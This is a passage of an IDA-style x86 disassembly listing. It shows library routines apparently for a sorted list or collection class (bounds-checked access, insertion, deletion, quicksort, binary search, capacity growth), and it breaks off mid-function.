; =============== S U B	R O U T	I N E =======================================



sub_20011140	proc near		; DATA XREF: CODE:2000F81Co
		mov	eax, edx
		mov	edx, ecx
		call	sub_20007074
		retn
sub_20011140	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2001114C	proc near		; CODE XREF: sub_20010AEC+4Cp
		push	ebx
		mov	ebx, eax
		test	byte ptr [ebx+4], 4
		jnz	short loc_2001115E
		mov	dl, 3Dh
		mov	eax, ebx
		call	sub_20011164


loc_2001115E:				; CODE XREF: sub_2001114C+7j
		mov	al, [ebx+7]
		pop	ebx
		retn
sub_2001114C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20011164	proc near		; CODE XREF: sub_2001114C+Dp
		push	ebx
		push	esi
		mov	ebx, edx
		mov	esi, eax
		cmp	bl, [esi+7]
		jnz	short loc_20011175
		test	byte ptr [esi+4], 4
		jnz	short loc_2001117C


loc_20011175:				; CODE XREF: sub_20011164+9j
		or	byte ptr [esi+4], 4
		mov	[esi+7], bl


loc_2001117C:				; CODE XREF: sub_20011164+Fj
		pop	esi
		pop	ebx
		retn
sub_20011164	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20011180	proc near		; DATA XREF: CODE:2000F914o
		push	ebx
		push	esi
		call	sub_200037A4
		mov	ebx, edx
		mov	esi, eax
		xor	eax, eax
		mov	[esi+20h], eax
		mov	[esi+24h], eax
		xor	eax, eax
		mov	[esi+28h], eax
		mov	[esi+2Ch], eax
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_2001041C
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_200111BE
		mov	ecx, eax
		mov	eax, [esi+10h]
		mov	edx, off_2000F8A8
		call	sub_2000493C


loc_200111BE:				; CODE XREF: sub_20011180+2Cj
		xor	eax, eax
		mov	[esi+14h], eax
		xor	edx, edx
		mov	eax, esi
		mov	ecx, [eax]
		call	dword ptr [ecx+28h]
		test	bl, bl
		jle	short loc_200111D7
		mov	eax, esi
		call	sub_2000378C


loc_200111D7:				; CODE XREF: sub_20011180+4Ej
		pop	esi
		pop	ebx
		retn
sub_20011180	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200111DC	proc near		; DATA XREF: CODE:2000F950o
		push	ebx
		xor	ecx, ecx
		mov	ebx, [eax]
		call	dword ptr [ebx+3Ch]
		pop	ebx
		retn
sub_200111DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200111E8	proc near		; DATA XREF: CODE:2000F954o

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		push	ecx
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		cmp	byte ptr [ebx+1Ch], 0
		jnz	short loc_20011201
		mov	eax, [ebx+14h]
		mov	[esp+14h+var_14], eax
		jmp	short loc_2001122F
; ---------------------------------------------------------------------------


loc_20011201:				; CODE XREF: sub_200111E8+Fj
		mov	ecx, esp
		mov	edx, esi
		mov	eax, ebx
		mov	ebp, [eax]
		call	dword ptr [ebp+8Ch]
		test	al, al
		jz	short loc_2001122F
		mov	al, [ebx+1Dh]
		sub	al, 1
		jb	short loc_20011240
		dec	al
		jz	short loc_20011220
		jmp	short loc_2001122F
; ---------------------------------------------------------------------------


loc_20011220:				; CODE XREF: sub_200111E8+34j
		mov	edx, ds:off_20014444
		xor	ecx, ecx
		mov	eax, ebx
		call	sub_20010798


loc_2001122F:				; CODE XREF: sub_200111E8+17j
					; sub_200111E8+29j ...
		push	edi
		mov	ecx, esi
		mov	edx, [esp+18h+var_14]
		mov	eax, ebx
		mov	ebx, [eax]
		call	dword ptr [ebx+88h]


loc_20011240:				; CODE XREF: sub_200111E8+30j
		mov	eax, [esp+14h+var_14]
		pop	edx
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_200111E8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2001124C	proc near		; DATA XREF: CODE:2000F998o
		push	ebx
		cmp	dword ptr [eax+8], 0
		jnz	short loc_20011264
		cmp	word ptr [eax+22h], 0
		jz	short loc_20011264
		mov	ebx, eax
		mov	edx, eax
		mov	eax, [ebx+24h]
		call	dword ptr [ebx+20h]


loc_20011264:				; CODE XREF: sub_2001124C+5j
					; sub_2001124C+Cj
		pop	ebx
		retn
sub_2001124C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20011268	proc near		; DATA XREF: CODE:2000F99Co
		push	ebx
		cmp	dword ptr [eax+8], 0
		jnz	short loc_20011280
		cmp	word ptr [eax+2Ah], 0
		jz	short loc_20011280
		mov	ebx, eax
		mov	edx, eax
		mov	eax, [ebx+2Ch]
		call	dword ptr [ebx+28h]


loc_20011280:				; CODE XREF: sub_20011268+5j
					; sub_20011268+Cj
		pop	ebx
		retn
sub_20011268	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20011284	proc near		; DATA XREF: CODE:2000F95Co
		push	ebx
		mov	ebx, eax
		cmp	dword ptr [ebx+14h], 0
		jz	short loc_200112C0
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+84h]
		mov	eax, [ebx+10h]
		mov	ecx, [ebx+14h]
		mov	edx, off_2000F8A8
		call	sub_2000493C
		xor	eax, eax
		mov	[ebx+14h], eax
		xor	edx, edx
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx+28h]
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+80h]


loc_200112C0:				; CODE XREF: sub_20011284+7j
		pop	ebx
		retn
sub_20011284	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200112C4	proc near		; DATA XREF: CODE:2000F960o
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		jl	short loc_200112D3
		cmp	esi, [ebx+14h]
		jl	short loc_200112E2


loc_200112D3:				; CODE XREF: sub_200112C4+8j
		mov	edx, ds:off_20014538
		mov	ecx, esi
		mov	eax, ebx
		call	sub_20010798


loc_200112E2:				; CODE XREF: sub_200112C4+Dj
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+84h]
		mov	eax, [ebx+10h]
		lea	eax, [eax+esi*8]
		mov	edx, off_2000F8A8
		call	sub_20004A28
		dec	dword ptr [ebx+14h]
		mov	eax, [ebx+14h]
		cmp	esi, eax
		jge	short loc_20011320
		sub	eax, esi
		mov	ecx, eax
		shl	ecx, 3
		mov	eax, [ebx+10h]
		lea	edx, [eax+esi*8]
		mov	eax, [ebx+10h]
		lea	eax, [eax+esi*8+8]
		call	sub_200027FC


loc_20011320:				; CODE XREF: sub_200112C4+41j
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+80h]
		pop	esi
		pop	ebx
		retn
sub_200112C4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20011330	proc near		; DATA XREF: CODE:2000F964o
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		jl	short loc_20011342
		cmp	esi, [ebx+14h]
		jl	short loc_20011351


loc_20011342:				; CODE XREF: sub_20011330+Bj
		mov	edx, ds:off_20014538
		mov	ecx, esi
		mov	eax, ebx
		call	sub_20010798


loc_20011351:				; CODE XREF: sub_20011330+10j
		test	edi, edi
		jl	short loc_2001135A
		cmp	edi, [ebx+14h]
		jl	short loc_20011369


loc_2001135A:				; CODE XREF: sub_20011330+23j
		mov	edx, ds:off_20014538
		mov	ecx, edi
		mov	eax, ebx
		call	sub_20010798


loc_20011369:				; CODE XREF: sub_20011330+28j
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+84h]
		mov	ecx, edi
		mov	edx, esi
		mov	eax, ebx
		call	sub_2001138C
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+80h]
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20011330	endp


; =============== S U B	R O U T	I N E =======================================



sub_2001138C	proc near		; CODE XREF: sub_20011330+49p
					; sub_20011674+51p
		push	ebx
		mov	ebx, [eax+10h]
		lea	edx, [ebx+edx*8]
		mov	eax, [eax+10h]
		lea	eax, [eax+ecx*8]
		mov	ecx, [edx]
		mov	ebx, [eax]
		mov	[edx], ebx
		mov	[eax], ecx
		mov	ecx, [edx+4]
		mov	ebx, [eax+4]
		mov	[edx+4], ebx
		mov	[eax+4], ecx
		pop	ebx
		retn
sub_2001138C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_200113B0	proc near		; DATA XREF: CODE:2000F9A4o

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF0h
		mov	[esp+20h+var_1C], ecx
		mov	[esp+20h+var_20], edx
		mov	edi, eax
		mov	[esp+20h+var_18], 0
		xor	esi, esi
		mov	eax, [edi+14h]
		dec	eax
		mov	[esp+20h+var_14], eax
		cmp	esi, [esp+20h+var_14]
		jg	short loc_20011414


loc_200113D5:				; CODE XREF: sub_200113B0+62j
		mov	ebx, [esp+20h+var_14]
		add	ebx, esi
		shr	ebx, 1
		mov	eax, [edi+10h]
		mov	edx, [eax+ebx*8]
		mov	ecx, [esp+20h+var_20]
		mov	eax, edi
		mov	ebp, [eax]
		call	dword ptr [ebp+34h]
		test	eax, eax
		jge	short loc_200113F6
		lea	esi, [ebx+1]
		jmp	short loc_2001140E
; ---------------------------------------------------------------------------


loc_200113F6:				; CODE XREF: sub_200113B0+3Fj
		mov	edx, ebx
		dec	edx
		mov	[esp+20h+var_14], edx
		test	eax, eax
		jnz	short loc_2001140E
		mov	[esp+20h+var_18], 1
		cmp	byte ptr [edi+1Dh], 1
		jz	short loc_2001140E
		mov	esi, ebx


loc_2001140E:				; CODE XREF: sub_200113B0+44j
					; sub_200113B0+4Fj ...
		cmp	esi, [esp+20h+var_14]
		jle	short loc_200113D5


loc_20011414:				; CODE XREF: sub_200113B0+23j
		mov	eax, [esp+20h+var_1C]
		mov	[eax], esi
		mov	al, [esp+20h+var_18]
		add	esp, 10h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_200113B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20011428	proc near		; DATA XREF: CODE:2000F924o
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		jl	short loc_2001143A
		cmp	esi, [ebx+14h]
		jl	short loc_20011449


loc_2001143A:				; CODE XREF: sub_20011428+Bj
		mov	edx, ds:off_20014538
		mov	ecx, esi
		mov	eax, ebx
		call	sub_20010798


loc_20011449:				; CODE XREF: sub_20011428+10j
		mov	eax, edi
		mov	edx, [ebx+10h]
		mov	edx, [edx+esi*8]
		call	sub_20003FFC
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20011428	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2001145C	proc near		; DATA XREF: CODE:2000F928o
		mov	eax, [eax+18h]
		retn
sub_2001145C	endp


; =============== S U B	R O U T	I N E =======================================



sub_20011460	proc near		; DATA XREF: CODE:2000F92Co
		mov	eax, [eax+14h]
		retn
sub_20011460	endp


; =============== S U B	R O U T	I N E =======================================



sub_20011464	proc near		; DATA XREF: CODE:2000F930o
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		jl	short loc_20011473
		cmp	esi, [ebx+14h]
		jl	short loc_20011482


loc_20011473:				; CODE XREF: sub_20011464+8j
		mov	edx, ds:off_20014538
		mov	ecx, esi
		mov	eax, ebx
		call	sub_20010798


loc_20011482:				; CODE XREF: sub_20011464+Dj
		mov	eax, [ebx+10h]
		mov	eax, [eax+esi*8+4]
		pop	esi
		pop	ebx
		retn
sub_20011464	endp


; =============== S U B	R O U T	I N E =======================================



sub_2001148C	proc near		; CODE XREF: sub_20011560+20p
		push	esi
		mov	edx, [eax+18h]
		cmp	edx, 40h
		jle	short loc_200114A3
		mov	esi, edx
		test	esi, esi
		jns	short loc_2001149E
		add	esi, 3


loc_2001149E:				; CODE XREF: sub_2001148C+Dj
		sar	esi, 2
		jmp	short loc_200114B4
; ---------------------------------------------------------------------------


loc_200114A3:				; CODE XREF: sub_2001148C+7j
		cmp	edx, 8
		jle	short loc_200114AF
		mov	esi, 10h
		jmp	short loc_200114B4
; ---------------------------------------------------------------------------


loc_200114AF:				; CODE XREF: sub_2001148C+1Aj
		mov	esi, 4


loc_200114B4:				; CODE XREF: sub_2001148C+15j
					; sub_2001148C+21j
		add	esi, edx
		mov	edx, esi
		mov	ecx, [eax]
		call	dword ptr [ecx+28h]
		pop	esi
		retn
sub_2001148C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_200114C0	proc near		; DATA XREF: CODE:2000F96Co

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	esi, edx
		mov	ebx, eax
		cmp	byte ptr [ebx+1Ch], 0
		jnz	short loc_200114DB
		mov	edx, esi
		mov	eax, ebx
		call	sub_20010A60
		mov	[esp+0Ch+var_C], eax
		jmp	short loc_200114F4
; ---------------------------------------------------------------------------


loc_200114DB:				; CODE XREF: sub_200114C0+Bj
		mov	ecx, esp
		mov	edx, esi
		mov	eax, ebx
		mov	ebx, [eax]
		call	dword ptr [ebx+8Ch]
		test	al, al
		jnz	short loc_200114F4
		mov	[esp+0Ch+var_C], 0FFFFFFFFh


loc_200114F4:				; CODE XREF: sub_200114C0+19j
					; sub_200114C0+2Bj
		mov	eax, [esp+0Ch+var_C]
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_200114C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200114FC	proc near		; DATA XREF: CODE:2000F978o
		push	ebx
		push	esi
		mov	esi, eax
		push	0
		mov	eax, esi
		mov	ebx, [eax]
		call	dword ptr [ebx+64h]
		pop	esi
		pop	ebx
		retn
sub_200114FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_2001150C	proc near		; DATA XREF: CODE:2000F97Co

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		cmp	byte ptr [ebx+1Ch], 0
		jz	short loc_2001152D
		mov	edx, ds:off_20014490
		xor	ecx, ecx
		mov	eax, ebx
		call	sub_20010798


loc_2001152D:				; CODE XREF: sub_2001150C+10j
		test	esi, esi
		jl	short loc_20011536
		cmp	esi, [ebx+14h]
		jle	short loc_20011545


loc_20011536:				; CODE XREF: sub_2001150C+23j
		mov	edx, ds:off_20014538
		mov	ecx, esi
		mov	eax, ebx
		call	sub_20010798


loc_20011545:				; CODE XREF: sub_2001150C+28j
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, edi
		mov	edx, esi
		mov	eax, ebx
		mov	ebx, [eax]
		call	dword ptr [ebx+88h]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_2001150C	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20011560	proc near		; DATA XREF: CODE:2000F9A0o

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+84h]
		mov	eax, [ebx+14h]
		cmp	eax, [ebx+18h]
		jnz	short loc_20011585
		mov	eax, ebx
		call	sub_2001148C


loc_20011585:				; CODE XREF: sub_20011560+1Cj
		mov	eax, [ebx+14h]
		cmp	esi, eax
		jge	short loc_200115A9
		mov	edx, [ebx+10h]
		lea	edx, [edx+esi*8+8]
		push	edx
		mov	edx, [ebx+10h]
		lea	edx, [edx+esi*8]
		sub	eax, esi
		mov	ecx, eax
		shl	ecx, 3
		mov	eax, edx
		pop	edx
		call	sub_200027FC


loc_200115A9:				; CODE XREF: sub_20011560+2Aj
		mov	eax, [ebx+10h]
		lea	eax, [eax+esi*8]
		mov	esi, eax
		xor	eax, eax
		mov	[esi], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+4], eax
		mov	eax, esi
		mov	edx, edi
		call	sub_20003FFC
		inc	dword ptr [ebx+14h]
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+80h]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
sub_20011560	endp


; =============== S U B	R O U T	I N E =======================================



sub_200115D8	proc near		; DATA XREF: CODE:2000F938o
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		cmp	byte ptr [ebx+1Ch], 0
		jz	short loc_200115F6
		mov	edx, ds:off_20014490
		xor	ecx, ecx
		mov	eax, ebx
		call	sub_20010798


loc_200115F6:				; CODE XREF: sub_200115D8+Dj
		test	esi, esi
		jl	short loc_200115FF
		cmp	esi, [ebx+14h]
		jl	short loc_2001160E


loc_200115FF:				; CODE XREF: sub_200115D8+20j
		mov	edx, ds:off_20014538
		mov	ecx, esi
		mov	eax, ebx
		call	sub_20010798


loc_2001160E:				; CODE XREF: sub_200115D8+25j
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+84h]
		mov	eax, [ebx+10h]
		lea	eax, [eax+esi*8]
		mov	edx, edi
		call	sub_20003FFC
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+80h]
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_200115D8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20011634	proc near		; DATA XREF: CODE:2000F93Co
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		test	esi, esi
		jl	short loc_20011646
		cmp	esi, [ebx+14h]
		jl	short loc_20011655


loc_20011646:				; CODE XREF: sub_20011634+Bj
		mov	edx, ds:off_20014538
		mov	ecx, esi
		mov	eax, ebx
		call	sub_20010798


loc_20011655:				; CODE XREF: sub_20011634+10j
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+84h]
		mov	eax, [ebx+10h]
		mov	[eax+esi*8+4], edi
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+80h]
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_20011634	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20011674	proc near		; CODE XREF: sub_20011674+7Fp
					; sub_20011760+25p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax


loc_20011685:				; CODE XREF: sub_20011674+8Aj
		mov	ebx, [ebp+var_8]
		mov	esi, [ebp+var_C]
		mov	eax, [ebp+var_8]
		add	eax, [ebp+var_C]
		shr	eax, 1
		mov	[ebp+var_10], eax
		jmp	short loc_20011699
; ---------------------------------------------------------------------------


loc_20011698:				; CODE XREF: sub_20011674+32j
		inc	ebx


loc_20011699:				; CODE XREF: sub_20011674+22j
					; sub_20011674+6Cj
		mov	ecx, [ebp+var_10]
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		call	[ebp+arg_0]
		test	eax, eax
		jl	short loc_20011698
		jmp	short loc_200116AB
; ---------------------------------------------------------------------------


loc_200116AA:				; CODE XREF: sub_20011674+44j
		dec	esi


loc_200116AB:				; CODE XREF: sub_20011674+34j
		mov	ecx, [ebp+var_10]
		mov	edx, esi
		mov	eax, [ebp+var_4]
		call	[ebp+arg_0]
		test	eax, eax
		jg	short loc_200116AA
		cmp	esi, ebx
		jl	short loc_200116DE
		mov	ecx, esi
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		call	sub_2001138C
		cmp	ebx, [ebp+var_10]
		jnz	short loc_200116D4
		mov	[ebp+var_10], esi
		jmp	short loc_200116DC
; ---------------------------------------------------------------------------


loc_200116D4:				; CODE XREF: sub_20011674+59j
		cmp	esi, [ebp+var_10]
		jnz	short loc_200116DC
		mov	[ebp+var_10], ebx


loc_200116DC:				; CODE XREF: sub_20011674+5Ej
					; sub_20011674+63j
		inc	ebx
		dec	esi


loc_200116DE:				; CODE XREF: sub_20011674+48j
		cmp	esi, ebx
		jge	short loc_20011699
		cmp	esi, [ebp+var_8]
		jle	short loc_200116F8
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, esi
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	sub_20011674


loc_200116F8:				; CODE XREF: sub_20011674+71j
		mov	[ebp+var_8], ebx
		cmp	ebx, [ebp+var_C]
		jl	short loc_20011685
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_20011674	endp


; =============== S U B	R O U T	I N E =======================================



sub_20011708	proc near		; DATA XREF: CODE:2000F940o
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	edx, esi
		shl	edx, 3
		lea	eax, [ebx+10h]
		call	sub_200026A8
		mov	[ebx+18h], esi
		pop	esi
		pop	ebx
		retn
sub_20011708	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20011724	proc near		; DATA XREF: CODE:2000F948o
		test	dl, dl
		jz	short loc_20011731
		mov	edx, [eax]
		call	dword ptr [edx+84h]
		retn
; ---------------------------------------------------------------------------


loc_20011731:				; CODE XREF: sub_20011724+2j
		mov	edx, [eax]
		call	dword ptr [edx+80h]
		retn
sub_20011724	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_2001173C	proc near		; DATA XREF: sub_20011750o
		push	ebx
		mov	ebx, [eax+10h]
		mov	ecx, [ebx+ecx*8]
		mov	ebx, [eax+10h]
		mov	edx, [ebx+edx*8]
		mov	ebx, [eax]
		call	dword ptr [ebx+34h]
		pop	ebx
		retn
sub_2001173C	endp


; =============== S U B	R O U T	I N E =======================================



sub_20011750	proc near		; DATA XREF: CODE:2000F9A8o
		mov	edx, offset sub_2001173C
		mov	ecx, [eax]
		call	dword ptr [ecx+94h]
		retn
sub_20011750	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_20011760	proc near		; DATA XREF: CODE:2000F9ACo
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		cmp	byte ptr [ebx+1Ch], 0
		jnz	short loc_20011794
		cmp	dword ptr [ebx+14h], 1
		jle	short loc_20011794
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+84h]
		push	esi
		mov	ecx, [ebx+14h]
		dec	ecx
		xor	edx, edx
		mov	eax, ebx
		call	sub_20011674
		mov	eax, ebx
		mov	edx, [eax]
		call	dword ptr [edx+80h]


loc_20011794:				; CODE XREF: sub_20011760+Aj
					; sub_20011760+10j
		pop	esi
		pop	ebx
		retn
sub_20011760	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_20011798	proc near		; DATA XREF: CODE:2000F94Co
		cmp	byte ptr [eax+1Eh], 0
		jz	short loc_200117A8
		mov	eax, edx
		mov	edx, ecx
		call	sub_2000703C
		retn
; ---------------------------------------------------------------------------


loc_200117A8:				; CODE XREF: sub_20011798+4j
		mov	eax, edx
		mov	edx, ecx
		call	sub_20007074
		retn
sub_20011798	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200117B4	proc near		; CODE XREF: sub_20010C78+40p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		add	esp, 0FFFFFFF8h
		push	0
		push	0
		mov	dl, 1
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		mov	[esp+8+var_8], eax
		mov	[esp+8+var_4], edx
		mov	eax, [esp+8+var_8]
		mov	edx, [esp+8+var_4]
		pop	ecx
		pop	edx
		retn
sub_200117B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_200117D4	proc near		; DATA XREF: CODE:off_2000FA30o
					; CODE:off_2000FAA0o ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
		add	esp, 0FFFFFFF0h
		mov	ebx, eax
		push	0
		push	0
		mov	dl, 1
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		mov	[esp+14h+var_C], eax
		mov	[esp+14h+var_8], edx
		push	0
		push	0
		mov	dl, 2
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		mov	[esp+14h+var_14], eax
		mov	[esp+14h+var_10], edx
		push	[esp+14h+var_8]
		push	[esp+18h+var_C]
		xor	edx, edx
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx+18h]
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_10]
		add	esp, 10h
		pop	ebx
		retn
sub_200117D4	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20011824	proc near		; DATA XREF: CODE:2000FA38o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, eax
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jnz	short loc_2001183A
		cmp	[ebp+arg_0], 80000000h
		jb	short loc_2001184F
		jmp	short loc_2001183C
; ---------------------------------------------------------------------------


loc_2001183A:				; CODE XREF: sub_20011824+9j
		jl	short loc_2001184F


loc_2001183C:				; CODE XREF: sub_20011824+14j
		cmp	[ebp+arg_4], 0
		jnz	short loc_2001184D
		cmp	[ebp+arg_0], 7FFFFFFFh
		jbe	short loc_20011866
		jmp	short loc_2001184F
; ---------------------------------------------------------------------------


loc_2001184D:				; CODE XREF: sub_20011824+1Cj
		jle	short loc_20011866


loc_2001184F:				; CODE XREF: sub_20011824+12j
					; sub_20011824:loc_2001183Aj ...
		mov	ecx, ds:off_20014568
		mov	dl, 1
		mov	eax, off_20006630
		call	sub_2000A5A0
		call	sub_20003A08


loc_20011866:				; CODE XREF: sub_20011824+25j
					; sub_20011824:loc_2001184Dj
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		mov	eax, ecx
		mov	ecx, [eax]
		call	dword ptr [ecx+4]
		pop	ebp
		retn	8
sub_20011824	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_20011878	proc near		; CODE XREF: sub_200118C4+4Cp
					; sub_200118C4+66p

var_108		= byte ptr -108h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEF8h
		lea	edx, [ebp+var_108]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax-4]
		mov	eax, [eax]
		call	sub_2000346C
		lea	eax, [ebp+var_108]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 4
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		mov	ecx, ds:off_20014584
		mov	dl, 1
		mov	eax, off_2000F2DC
		call	sub_2000A5DC
		call	sub_20003A08
		mov	esp, ebp
		pop	ebp
		retn
sub_20011878	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_200118C4	proc near		; DATA XREF: CODE:2000FA44o
					; CODE:2000FAB4o ...

var_20		= byte ptr -20h
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		mov	[ebp+var_1A], cx
		mov	esi, edx
		mov	[ebp+var_4], eax
		lea	ebx, [ebp+var_20]
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C], eax
		mov	eax, [eax]
		mov	eax, [eax+18h]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_4]
		call	sub_20003464
		mov	[ebx], eax
		jmp	short loc_200118FB
; ---------------------------------------------------------------------------


loc_200118F2:				; CODE XREF: sub_200118C4+44j
		mov	eax, [ebx]
		call	sub_20003480
		mov	[ebx], eax


loc_200118FB:				; CODE XREF: sub_200118C4+2Cj
		cmp	dword ptr [ebx], 0
		jz	short loc_2001190A
		mov	eax, [ebx]
		cmp	eax, off_2000F9E4
		jnz	short loc_200118F2


loc_2001190A:				; CODE XREF: sub_200118C4+3Aj
		cmp	dword ptr [ebx], 0
		jnz	short loc_20011916
		push	ebp
		call	sub_20011878
		pop	ecx


loc_20011916:				; CODE XREF: sub_200118C4+49j
		mov	[ebp+var_14], ebx
		mov	eax, [ebx]
		mov	eax, [eax+18h]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_18]
		jnz	short loc_20011930
